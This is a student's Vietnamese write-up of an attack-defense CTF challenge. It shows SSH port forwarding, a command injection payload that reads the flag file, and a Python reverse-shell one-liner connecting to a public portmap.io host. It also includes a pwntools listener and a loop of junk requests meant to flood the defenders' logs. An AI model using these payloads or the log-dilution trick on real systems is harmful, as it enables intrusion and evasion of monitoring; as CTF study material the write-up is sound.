# Forward port đến service
* Do ip của service là private nên em không thể connect ở server mà phải thông qua con ssh.
* Ban đầu em đưa script lên ssh để chạy nhưng mà em ko tải được `pwntools` nên script đó ko thực thi dc
* Cuối cùng để kết nối tới service thì em phải dùng tới `dynamic port forwarding`
* Khi mà thi thì em cũng không hiểu nó là gì lắm và chỉ copy paste theo các anh chỉ rồi sau khi về thì em mới tìm hiểu về nó
* Đầu tiên là tạo 1 tunnel từ local tới ssh

* Sau câu lệnh này thì máy chúng ta sẽ mở 1 `SOCKS proxy` listen ở port `1337` trên local.
* Tiếp đến là forward port đến service

* Thật sự thì em ko hiểu phần này lắm nhưng mà khi kết nối tớ local ở port `1234` thì sẽ dc forward tới `10.104.0.6:10301` thông qua ssh
# Attack
* Về challenge thì mới đầu em thấy ngay 1 bug đó là command injection
* Payload của em lúc đầu đơn giản là
> $(cat /ho*/* /f*)
* Do `flag.txt` ở `/home/ctf/flag.txt`. Em chạy thì có thể lấy được flag trên service, do 2 team khác hình như là gặp vấn đề về kĩ thuật nên hình như là lúc đó chẳng có filter gì cả. Dù gì thì script khai thác lỗi đó em cũng chỉ dùng 1 lần trong quá trình làm
* Hàm em khai thác từ đầu đến cuối là `secureShell`

* Chỉ cần chạy hàm `rand` cùng lúc trên local là có thể có shell. Như này thì request mà bị delay cỡ `1s` thì `rand` sẽ sinh số khác ngay nhưng mà cũng do 2 đội trục trặc gì đó mà từ đầu đến cuối em đều lấy được shell
* Tiếp đến thì chỉ cần bypass những cái filter chống command injection trên proxys
* Lúc đầu em chỉ đơn giản gọi command như này là dc
```py=
p.sendline(b"cd home")
p.sendline(b"cd ctf")
p.sendline(b"cat f*")
```
* Trôi qua được nửa thời gian thì có 1 đội filter được command đó nên em chuyển hướng qua `reverse shell`
* Em tạo `1` port map từ local đến `1` public ip với `openvpn`. File config em tạo ra trên trang [portmap.io](https://portmap.io/)
* Chạy lệnh `sudo openvpn --config naooooooooooooo.nao.ovpn` để tạo portmap từ `naooooooooooooo-26863.portmap.io:26863` tới port `12121` trên local
* Payload reverse shell
```py=
python3 -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("naooooooooooooo-26863.portmap.io",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
* Script `listen` để lấy flag
```py=
from pwn import *
while True:
l = listen(12121)
l.wait_for_connection()
l.wait(1)
l.sendline(b"cat /home/ctf/flag.txt")
print(l.recv(0x100))
print(l.recv(0x100))
print(l.recv(0x100))
l.close()
```
* Do gửi payload `reverse shell` kia người ta thấy trên log là filter được ngay nên chạy script rồi em cũng gửi mấy request rác để làm loãng log
```py=
for i in range(100):
p = remote(sys.argv[1], sys.argv[2])
bug_report(p, rand_str(0x17), rand_str(0x7), rand_str(0x134))
bug_fix(p, rand_str(5), 4, rand_str(0x35))
view_bug(p, 2)
p.close()
```
* Chương trình còn có bug `BOF` mà em không bt khai thác sao cả